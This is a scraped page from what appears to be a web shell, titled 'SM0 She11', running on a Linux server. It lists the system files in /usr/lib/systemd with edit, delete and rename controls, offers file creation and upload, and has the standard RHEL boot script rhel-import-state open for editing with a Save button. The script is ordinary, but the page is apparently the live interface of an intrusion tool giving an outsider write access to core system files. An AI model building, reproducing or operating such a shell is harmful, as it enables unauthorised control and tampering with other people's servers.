SM0 She11
Path:
/
/
usr
/
lib
/
systemd
Full Path (server): /usr/lib/systemd
Create Fil3
Upl04d Fil3
📁 catalog
Open
[D]
[R]
📄 import-pubring.gpg
[E]
[D]
[R]
📁 ntp-units.d
Open
[D]
[R]
📄 rhel-autorelabel
[E]
[D]
[R]
📄 rhel-configure
[E]
[D]
[R]
📄 rhel-dmesg
[E]
[D]
[R]
📄 rhel-domainname
[E]
[D]
[R]
📄 rhel-import-state
[E]
[D]
[R]
📄 rhel-loadmodules
[E]
[D]
[R]
📄 rhel-readonly
[E]
[D]
[R]
📁 system
Open
[D]
[R]
📁 system-generators
Open
[D]
[R]
📁 system-preset
Open
[D]
[R]
📁 system-shutdown
Open
[D]
[R]
📁 system-sleep
Open
[D]
[R]
📄 systemd
[E]
[D]
[R]
📄 systemd-ac-power
[E]
[D]
[R]
📄 systemd-activate
[E]
[D]
[R]
📄 systemd-backlight
[E]
[D]
[R]
📄 systemd-binfmt
[E]
[D]
[R]
📄 systemd-bootchart
[E]
[D]
[R]
📄 systemd-cgroups-agent
[E]
[D]
[R]
📄 systemd-coredump
[E]
[D]
[R]
📄 systemd-cryptsetup
[E]
[D]
[R]
📄 systemd-fsck
[E]
[D]
[R]
📄 systemd-hibernate-resume
[E]
[D]
[R]
📄 systemd-hostnamed
[E]
[D]
[R]
📄 systemd-importd
[E]
[D]
[R]
📄 systemd-initctl
[E]
[D]
[R]
📄 systemd-journald
[E]
[D]
[R]
📄 systemd-localed
[E]
[D]
[R]
📄 systemd-logind
[E]
[D]
[R]
📄 systemd-machine-id-commit
[E]
[D]
[R]
📄 systemd-machined
[E]
[D]
[R]
📄 systemd-modules-load
[E]
[D]
[R]
📄 systemd-pull
[E]
[D]
[R]
📄 systemd-quotacheck
[E]
[D]
[R]
📄 systemd-random-seed
[E]
[D]
[R]
📄 systemd-readahead
[E]
[D]
[R]
📄 systemd-remount-fs
[E]
[D]
[R]
📄 systemd-reply-password
[E]
[D]
[R]
📄 systemd-rfkill
[E]
[D]
[R]
📄 systemd-shutdown
[E]
[D]
[R]
📄 systemd-shutdownd
[E]
[D]
[R]
📄 systemd-sleep
[E]
[D]
[R]
📄 systemd-socket-proxyd
[E]
[D]
[R]
📄 systemd-sysctl
[E]
[D]
[R]
📄 systemd-sysv-install
[E]
[D]
[R]
📄 systemd-timedated
[E]
[D]
[R]
📄 systemd-udevd
[E]
[D]
[R]
📄 systemd-update-done
[E]
[D]
[R]
📄 systemd-update-utmp
[E]
[D]
[R]
📄 systemd-user-sessions
[E]
[D]
[R]
📄 systemd-vconsole-setup
[E]
[D]
[R]
📁 user
Open
[D]
[R]
📁 user-generators
Open
[D]
[R]
📁 user-preset
Open
[D]
[R]
Editing: rhel-import-state
#!/bin/bash # rhel-import-state: import state files from initramfs (e.g. network config) # Copy state into root folder: # ============================ cd /run/initramfs/state IFS_backup=$IFS IFS=$'\n' # Process find's results line by line dirs_found=$(find . -type d) for dir in $dirs_found; do pushd "$dir" > /dev/null # Remove initial '.' char from the find's result: dest_dir="${dir/\./}" # Create destination folder if it does not exist (with the same rights): if [[ -n "$dest_dir" && ! -d "$dest_dir" ]]; then mkdir -p "$dest_dir" chmod --reference="$PWD" "$dest_dir" chown --reference="$PWD" "$dest_dir" fi # Copy all files that are not directory: find . -mindepth 1 -maxdepth 1 -not -type d -exec cp -av -t "$dest_dir" {} \; > /dev/null popd > /dev/null done IFS=$IFS_backup # Run restorecon on the copied files: # =================================== if [ -e /sys/fs/selinux/enforce -a -x /usr/sbin/restorecon ]; then find . -mindepth 1 -print0 | { cd / && xargs --null restorecon -iF; } fi
Save